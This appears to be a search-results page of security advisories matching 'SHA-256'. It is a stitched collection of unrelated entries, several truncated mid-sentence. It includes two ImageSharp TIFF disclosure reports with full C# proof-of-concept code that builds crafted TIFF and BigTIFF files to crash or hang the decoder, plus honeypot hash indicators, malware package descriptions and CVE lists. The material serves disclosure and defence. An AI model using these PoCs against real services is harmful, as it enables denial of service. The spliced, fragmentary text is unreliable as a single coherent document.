Search: SHA-256

### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd,

FortiBleed is an ongoing global campaign targeting internet-facing Fortinet FortiGate firewalls and SSL VPN gateways. It exploits reused or leaked credentials and legacy SHA-256 password storage to harvest and crack authentication data at scale. Attackers gain access by scanning for exposed SSL VPN portals, performing credential stuffing and password spraying, and cracking stolen password hashes offline. Once inside, they create new administrative accounts for persistence and conduct Active Directory enumeration to expand access. Organizations may experience account lockouts due to attacker actions. The campaign acts as an initial-access broker with links to ransomware affiliates INC/Lynx and Payload, representing a significant medium-severity threat requiring immediate defensive measures.

Homer is open source telecom observability software. Prior to version 11.0.283, on every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access. Version 11.0.283 patches the issue.

A malicious file identified by the SHA-256 hash 81a7cdbbf15c84b01f5144fa45f4148dd12a373df07ea37850510cc3b0694d92 was observed by OffSeq Mirage honeypot sensors on 2026-10-07. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Great Britain. This indicator should be matched against files in environments and security tools to detect potential compromise.

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

This report details the recovery of a removed npm malware file from the scoped package @goodjavascript/dotenv@1.0.0 using archival sources and CDN metadata. The recovered file contained a timer-based mechanism that collects host information and can execute JavaScript from a server response. The package itself had no installation scripts and an empty exported config function. The recovery was achieved by correlating an older Software Heritage snapshot with a surviving SHA-256 digest from jsDelivr's file manifest. A Python verifier was developed to safely retrieve and hash the file without execution. This analysis supplements an existing OSV advisory and highlights the use of archival tools for malware investigation.

vLLM versions before 0.29.0 contain a denial-of-service vulnerability in the cache_salt parameter accepted on OpenAI-compatible and Anthropic API endpoints, which lacks maximum length validation and is processed on the single EngineCore scheduler thread. Unauthenticated attackers can send HTTP requests with multi-hundred-megabyte salt values that trigger expensive pickle serialization and SHA-256 hashing, stalling the scheduler thread and denying service to all concurrent requests.

A malicious file identified by the SHA-256 hash b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793 was observed by OffSeq Mirage honeypot sensors three times between September 25 and October 8, 2026. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to match this hash against files in their environments and threat intelligence feeds to detect potential compromise.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (43eddaf152e2aa60b9f823513a2d9b11fc424a5cff4bb3c031f6823a48dc2f4e) package.json declares a postinstall hook `wscript.exe 4444.vbs` that fires automatically on `npm install`. The shipped 4444.vbs contains a ~660-entry base64 string array (ArtifactBundleHX) that is reassembled and decrypted through layered AES-256-CBC and ChaCha20-IETF (keys derived via SHA-256) at install time, written to %TEMP% as a random `.dat` file, and passed to powershell.exe as a two-tier loader for in-memory execution / process hollowing. The VBS additionally obfuscates its Windows API surface: CreateObject targets such as `ADODB.Stream` and `Msxml2.DOMDocument` are stored as XOR-encoded colon-delimited integer arrays and decoded at runtime, and the AES S-boxes and SHA-256 round constants are XOR-masked. The package presents a `Device Telemetry Aggregator` / `Verdant Signals Corp` cover story in comments while package.json ships empty author and description fields. The combination of an auto-executed lifecycle script, multi-layer cryptographic unpacking of a hidden payload, in-memory PowerShell hand-off, and misleading self-labeling is arbitrary code execution on the installer's Windows host at install time.

BentoPDF is a client-side PDF toolkit that is self hostable. In 2.8.6 and earlier, deserializeWorkflow() accepts the Timestamp node's tsaUrl control from imported JSON without schema or destination validation. When a user imports the crafted workflow and runs it against a PDF, timestampPdf() sends an RFC 3161 TimeStampReq containing the PDF's SHA-256 MessageImprint to the attacker-selected endpoint. The default self-hosted configuration does not set VITE_CORS_PROXY_URL, so the request bypasses the proxy's ALLOWED_TSA_HOSTS checks and is sent directly. The disclosed digest can confirm that a document matches a known file and can correlate the same document across users without revealing its contents. This vulnerability is fixed in 2.8.7.

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that arbitrary code can be invoked as the user, without a dropped script being saved on the affected host. The releases have no test scripts nor build hooks. The intention may have been to trigger the payload after installation. For version 1.01, the dropper script is in lib/Crypt/SelfCertificate/sample/validate.p12. For version 1.05, the dropper script is in lib/Crypt/SelfCertificate/sample/cert7.pem. The SHA-256 digests of the files are fbff21f45ff748365062a5e36fb2d72558cad82a507a6f357f320b4fcdf07760 Crypt-SelfCertificate-1.01.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/validate.p12 9fdfa7d69b034b77d4510cda567e8da1e486ca81c7daaadc5732a45c41d71991 Crypt-SelfCertificate-1.05.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/cert7.pem

A malicious file identified by the SHA-256 hash bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440 was observed by OffSeq Mirage honeypot sensors five times between September 19, 2026, and October 8, 2026. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Great Britain. No known exploits in the wild or specific affected software versions are identified.

A malicious file identified by the SHA-256 hash 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96 was observed 12 times in attacker activity between September 18, 2026, and October 21, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and is linked to attacker infrastructure in South Carolina. This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to match this hash against files in their environments and threat intelligence feeds to detect potential compromise.

Use of a One-Way Hash with a Predictable Salt vulnerability in team-alembic AshAuthentication allows readers of the audit store to recover the client IP addresses that the audit log add-on's :hash privacy mode is meant to pseudonymise. AshAuthentication.AddOn.AuditLog.IpPrivacy.hash_ip/1 computes a single unkeyed :crypto.hash(:sha256, salt <> ip) and truncates the result to 16 hexadecimal characters. The salt is read from the :audit_log_ip_salt or :secret application config keys, and falls back to the constant "default-salt-change-in-production" published in the library source when neither is set, with nothing warning that the default is in use. The IPv4 space is only 2^32 values and SHA-256 is fast, so the whole hash table is precomputable and every stored value maps back to its source address. Truncating to 16 characters does not help, and even a configured salt leaves the hash cheap enough to enumerate once it leaks. This issue affects ash_authentication: from 4.12.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.

A malicious file identified by the SHA-256 hash b5eec555aa0e07b1af33a0ec195a3fb195e1543339d22305fffbfa7e6a7b4381 was observed twice on September 16, 2026, by OffSeq Mirage honeypot sensors. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). The malicious payload could be a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Great Britain. This indicator can be used to detect or block the associated malicious file in environments and security tools.

Pay is a payments engine for Ruby on Rails 6.0 and higher. Prior to 11.6.2, Pay::Webhooks::PaddleBillingController#valid_signature? in app/controllers/pay/webhooks/paddle_billing_controller.rb compares the computed 64-character SHA-256 HMAC with the attacker-controlled h1 token from the Paddle-Signature header using Ruby String#==. An unauthenticated remote attacker who can repeatedly submit requests to /pay/webhooks/paddle_billing and obtain sufficiently precise timing measurements can infer matching digest prefixes and recover a valid signature. A forged accepted webhook is enqueued through Pay::Webhooks::ProcessJob and can cause a host application to update billing state, provision paid features, record refunds, or trigger customer notifications. This issue is fixed in version 11.6.2.

A malicious file identified by the SHA-256 hash eaf9adb4bb80316a3aafceabc0f2ed2aed7c76cf134b9b7c66226fc4f003aa97 was observed by OffSeq Mirage honeypot sensors in attacker activity between September 14, 2026, and October 14, 2026. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in China. This hash fingerprints a specific malicious payload, which could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to match this hash against files in their environments and security feeds to detect potential compromise.

AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms. This release of Red Hat AMQ Broker 7.13.6 includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section. Security Fix(es): * (CVE-2026-10050) jetty-security: Eclipse Jetty: Authentication bypass via Digest authentication encoding collision * (CVE-2026-12143) form-data: form-data: Form field override via CRLF injection * (CVE-2026-12151) undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames * (CVE-2026-13149) brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity * (CVE-2026-13676) fast-uri: fast-uri: Security policy bypass due to improper Unicode hostname canonicalization * (CVE-2026-40984) micrometer-core: Micrometer: Denial of Service via specially crafted HTTP requests * (CVE-2026-42198) postgresql: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication * (CVE-2026-42264) axios: Axios: Prototype pollution allows information disclosure and request manipulation * (CVE-2026-42338) ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input * (CVE-2026-42578) netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation * (CVE-2026-42581) netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers * (CVE-2026-42584) netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion * (CVE-2026-42587) netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression * (CVE-2026-42588) activemq-broker: Apache ActiveMQ: Arbitrary code execution via improper input validation in Jolokia JMX-HTTP bridge * (CVE-2026-44248) netty-codec-mqtt: Netty: Denial of Service due to excessive resource consumption from crafted MQTT 5 header * (CVE-2026-44249) netty-handler: netty-handler: IPv6 subnet rule bypass due to incorrect masking operation * (CVE-2026-44486) axios: Axios: Information disclosure of proxy credentials via HTTP redirects * (CVE-2026-44487) axios: Axios: Information disclosure of proxy credentials via redirect flows * (CVE-2026-44488) axios: Axios: Denial of Service due to unenforced request and response size limits * (CVE-2026-44492) axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization * (CVE-2026-44494) axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution * (CVE-2026-44495) axios: Axios: Information disclosure due to prototype pollution vulnerability * (CVE-2026-44496) axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name * (CVE-2026-45205) commons-configuration2: Apache Commons Configuration: Denial of Service via uncontrolled recursion with crafted YAML input * (CVE-2026-45416) netty-handler: Netty: Denial of Service due to eager buffer allocation in TLS handshake * (CVE-2026-45736) ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` * (CVE-2026-48779) ws: ws: Denial of Service via memory exhaustion from small WebSocket fragments * (CVE-2026-49362) artemis-server: artemis core protocol permits unauthed queue creation * (CVE-2026-49364) artemis-server: artemis cluster password leak via jgroups spoof * (CVE-2026-49432) artemis-stomp-protocol: Apache ActiveMQ: Denial of Service via improper input validation in STOMP connector * (CVE-2026-49978) dompurify: DOMPurify: Cross-site scripting vulnerability allows code execution * (CVE-2026-50010) netty-handler: Netty: Improper trust manager handling leads to hostname verification bypass * (CVE-2026-50734) activemq-client: Apache ActiveMQ: Denial of Service via crafted WireFormatInfo frame * (CVE-2026-53916) artemis-stomp-protocol: Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Stomp: Unbounded header buffer in STOMP NIO codec * (CVE-2026-54512) jackson-databind: jackson-databind: Arbitrary code execution via PolymorphicTypeValidator bypass * (CVE-2026-54513) jackson-databind: Jackson-databind: Security bypass allows arbitrary code execution * (CVE-2026-55831) netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing * (CVE-2026-55833) netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification * (CVE-2026-56745) netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec * (CVE-2026-56746) netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header * (CVE-2026-57967) artemis-server: Apache Artemis — session hijack via missing authentication * (CVE-2026-59869) js-yaml: js-yaml: Denial of Service via crafted YAML documents * (CVE-2026-59873) tar: node-tar: Denial of Service via crafted gzip bomb * (CVE-2026-598

AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms. This release of Red Hat AMQ Broker 7.14.1 includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section. Security Fix(es): * (CVE-2025-14813) bcprov-jdk18on: GOSTCTR implementation unable to process more than 255 blocks correctly * (CVE-2026-0636) bcprov-jdk18on: LDAP injection vulnerability in LDAPStoreHelper.java * (CVE-2026-10050) jetty-security: Eclipse Jetty: Authentication bypass via Digest authentication encoding collision * (CVE-2026-12143) form-data: form-data: Form field override via CRLF injection * (CVE-2026-12151) undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames * (CVE-2026-13149) brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity * (CVE-2026-13676) fast-uri: fast-uri: Security policy bypass due to improper Unicode hostname canonicalization * (CVE-2026-40983) micrometer-core: Micrometer: Denial of Service via specially crafted gRPC requests * (CVE-2026-40984) micrometer-core: Micrometer: Denial of Service via specially crafted HTTP requests * (CVE-2026-42198) postgresql: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication * (CVE-2026-42264) axios: Axios: Prototype pollution allows information disclosure and request manipulation * (CVE-2026-42338) ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input * (CVE-2026-42578) netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation * (CVE-2026-42581) netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers * (CVE-2026-42583) netty-codec: Netty: Denial of Service via excessive memory allocation in LZ4FrameDecoder * (CVE-2026-42584) netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion * (CVE-2026-42587) netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression * (CVE-2026-42587) netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression * (CVE-2026-42588) activemq-broker: Apache ActiveMQ: Arbitrary code execution via improper input validation in Jolokia JMX-HTTP bridge * (CVE-2026-44248) netty-codec-mqtt: Netty: Denial of Service due to excessive resource consumption from crafted MQTT 5 header * (CVE-2026-44249) netty-handler: netty-handler: IPv6 subnet rule bypass due to incorrect masking operation * (CVE-2026-44486) axios: Axios: Information disclosure of proxy credentials via HTTP redirects * (CVE-2026-44487) axios: Axios: Information disclosure of proxy credentials via redirect flows * (CVE-2026-44488) axios: Axios: Denial of Service due to unenforced request and response size limits * (CVE-2026-44492) axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization * (CVE-2026-44494) axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution * (CVE-2026-44496) axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name * (CVE-2026-44893) netty-codec-haproxy: Netty-codec-haproxy: Denial of Service via malformed HAProxy message * (CVE-2026-45205) commons-configuration2: Apache Commons Configuration: Denial of Service via uncontrolled recursion with crafted YAML input * (CVE-2026-45416) netty-handler: Netty: Denial of Service due to eager buffer allocation in TLS handshake * (CVE-2026-45736) ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` * (CVE-2026-48043) netty-codec-http2: netty-codec-http2: Denial of Service due to resource leak * (CVE-2026-48059) netty-codec-haproxy: Netty HAProxy PROXY protocol v2 codec: Denial of Service via memory leak from crafted PROXY protocol headers * (CVE-2026-48779) ws: ws: Denial of Service via memory exhaustion from small WebSocket fragments * (CVE-2026-49362) artemis-server: artemis core protocol permits unauthed queue creation * (CVE-2026-49364) artemis-server: artemis cluster password leak via jgroups spoof * (CVE-2026-49432) artemis-stomp-protocol: Apache ActiveMQ: Denial of Service via improper input validation in STOMP connector * (CVE-2026-49978) dompurify: DOMPurify: Cross-site scripting vulnerability allows code execution * (CVE-2026-50010) netty-handler: Netty: Improper trust manager handling leads to hostname verification bypass * (CVE-2026-50734) activemq-client: Apache ActiveMQ: Denial of Service via crafted WireFormatInfo frame * (CVE-2026-53916) artemis-stomp-protocol: Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Stomp: Unbounded header buffer in STOMP NIO codec * (CVE-2026-54512) jackson-databind: jackson-databind: Arbitrary code execution via PolymorphicTypeValidator bypass * (CVE-2026

A malicious file identified by the SHA-256 hash 7cc0b40e8819ec9139ffae5942add2db1c26e168edaeda57302c9047f23dfb6c was observed by OffSeq Mirage honeypot sensors on 2026-09-07. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). This hash fingerprints a specific malicious payload such as a dropper, web shell, miner, or post-exploitation tool that was staged or delivered during the attack. The attacker infrastructure was located in the United States. No known exploits in the wild or specific affected software versions are identified.